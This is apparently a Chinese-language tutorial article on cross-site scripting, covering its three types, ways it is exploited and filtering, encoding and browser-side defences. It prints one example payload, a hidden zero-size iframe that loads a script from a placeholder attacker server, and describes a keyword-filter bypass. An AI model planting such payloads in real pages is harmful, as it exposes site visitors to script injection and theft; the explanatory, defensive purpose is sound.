Bootstrap

XSS攻击与防范方法

XSS,即跨站脚本攻击(Cross Site Scripting),指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

XSS的原理为恶意攻击者在web页面中插入一些恶意的script代码。当用户浏览该页面的时候,那么嵌入到web页面中script代码会执行,因此会达到恶意攻击用户的目的。当恶意攻击者向web应用程序的页面里插入恶意脚本,处于客户端的用户浏览该网页时,嵌入在正常web页面中的恶意代码就会被执行,从而达到攻击者攻击访问用户、获取访问用户信息,甚至获取网站权限的特殊目的。这样的攻击被称为XSS漏洞攻击。

一、XSS漏洞类型

XSS漏洞有反射型、存储型、DOM型等三种类型。

1.反射型

攻击方式的注入代码是从目标服务器通过错误信息,搜索结果等方式反射回来而得名,因这种攻击方式只有一次性,又称非持续性XSS漏洞。反射性XSS一般指攻击者通过特定的方式来诱惑受害者去访问一个包含恶意代码的url。当受害者点击恶意链接url的时候,恶意代码会直接在受害者的主机上的浏览器执行。

2.存储型

将恶意代码上传或存储到服务器中,下次只要受害者浏览包含此恶意代码的页面就会执行恶意代码。存储型XSS漏洞又被称为持续型XSS漏洞,是危害最大的XSS漏洞。产生这种漏洞的前提是攻击者必须将提交的恶意数据存储在服务器(数据库、文件系统等)中。如果web应用程序的其他用户浏览了包含这些恶意数据的网页时便会受到攻击。

3.DOM型

DOM型XSS攻击执行的前提是原始网页存在一些修改DOM对象的方法和属性,这些方法及属性能动态地刷新响应页面,并向其中添加一些新的内容,而不需要用户在浏览器里执行任何的操作。DOM型XSS漏洞攻击的脚本不会出现在web网页原始HTML文本中,即在客户端浏览器web网页源文件中是无法查看到这些脚本的。

二、XSS漏洞利用

常见的XSS漏洞利用方式包括Cookies欺骗、隐蔽网页木马、邮件中的XSS攻击以及XSS蠕虫等。

1.cookies欺骗

指web应用程序只采用cookies验证机制时,攻击者通常通过修改用户cookies的过期时间来得到相应的用户权限以实现永久登录。例如,在论坛应用程序中,用户A首先使用自己的用户名和密码进行登录认证,认证成功后,将用户名和密码保存在cookie中,然后可以对自己的个人信息进行修改。在这个过程中,如果攻击者通过某种方法获得了用户A的cookie信息,那么他就可以利用合法的用户名和密码伪装成用户A的身份,进行应用程序登录。而如果这个用户A 是程序管理员身份的话,那么他就可以拥有整个应用程序的管理权限,这将给web应用程序带来严重的安全威胁。

2.隐蔽网页木马

web应用程序直接将攻击者输入的XSS脚本返回给客户端浏览器时,这些恶意脚本就会被浏览器解析执行,从而引发漏洞攻击。只要是符合浏览器能够解析的任意脚本语句都可以通过XSS漏洞实现攻击。因此,有些攻击者就利用HTML语言中的<iframe>标签以实现XSS攻击。

例如,有网页XSS.html,其中包含内容:

<iframe src=”http://恶意脚本所在的服务器地址/hacker.html”width=0 hight=0></iframe>。

iframe标签是用来定义网页中框架内容的,还有width和hight两个重要属性。当这两个属性值都为0时,将在网页中创建一个用户看不见的框架。如果攻击者利用这一特性,在具有XSS漏洞的 web应用程序中植入恶意脚本,那么被攻击的用户就间接地访问了该恶意脚本。

如今的恶意脚本一般都存放在称为“网页木马”的网页文件中。“网页木马”是攻击者利用浏览器或者应用程序的漏洞而使用客户端脚本语言。

3.邮件中的XSS攻击

目前,web型电子邮箱已经支持在邮件中添加多媒体技术,例如在邮件中显示动画、音乐等,甚至支持个性化特效。这些特效之所以能够实现,是因为邮件中存在浏览器能够解析执行的脚本。如果这些脚本是恶意的,并且用户浏览了,就容易发生邮件XSS攻击。

现在的web 电子邮箱在编写一封新的邮件时,一般都会提供“编辑源码”选项,这个选项主要是将电子邮件以html文本的形式表现出来。如果在源码中嵌入恶意的XSS 脚本,那么当邮件发送给收件人后,一旦收件人浏览了,那么这些脚本语句就会立马执行。

4.XSS蠕虫

Ajax技术利用XSS漏洞实现了网络应用软件才能做到的事情,例如XSS蠕虫。蠕虫病毒是一种常见的利用网络进行复制和传播的计算机病毒,它通过网络、电子邮件等传播方式以极快的传播速度像蠕虫一样从一台计算机传染到另一台计算机。XSS蠕虫是利用Ajax技术实现web应用程序XSS漏洞自动化传播的蠕虫病毒。它通过把用户输入的数据发送给web应用程序,然后将自身恶意代码传递给web应用程序。一旦有用户浏览了恶意的web页面时,就被感染上病毒,从而蠕虫自身又进行数据发送感染。最著名的XSS蠕虫就是MySpace XSSWorm了。

三、XSS攻击的防范

1.过滤与编码机制

过滤与编码机制是web应用程序常使用的防范XSS漏洞机制,主要用于防范存储型 XSS漏洞。

过滤是指web应用程序对用户输入的数据进行特征匹配。常用的过滤方法是匹配文档中的JavaScript关键字。但是,这种方法的局限性在于攻击者可以利用各种手段绕过过滤机制。例如,攻击者在关键字中间添加多个空格符,在匹配时,web应用程序认为二者是不相同的,因此不会对其进行过滤。而当网页传送到浏览器时,浏览器则认为这两个字符串具有相同的语义,进而执行XSS攻击。

编码机制主要利用web应用程序自带的一些编码函数和程序员自编的安全算法对用户输入的数据重新编码。即使用户输入的数据明显包含XSS攻击脚本,web应用程序也能接受并在输出显示时对其进行编码,使得攻击脚本无法执行。

2.客户端防范XSS 攻击机制

XSS漏洞攻击之所以能够发生,一方面是因为Web应用程序保存或读取了攻击者的恶意脚本语句,另一方面是因为浏览器会执行这些恶意脚本。因此,除了在Web应用程序中添加过滤机制外,通常也会在客户端采取防范措施。

客户端常使用的防范措施是在浏览器中添加 XSS 脚本阻止插件或是直接在浏览器中添加XSS脚本检测防范模块。虽然这种方法有效地防范了未知漏洞带来的安全隐患,但是也存在许多不完善的地方,特别是浏览器运行在双字节的系统环境中。因为这些插件对脚本进行过滤时采用的编码机制可能和浏览器的编码机制不一致,从而导致XSS攻击依然正常执行。

;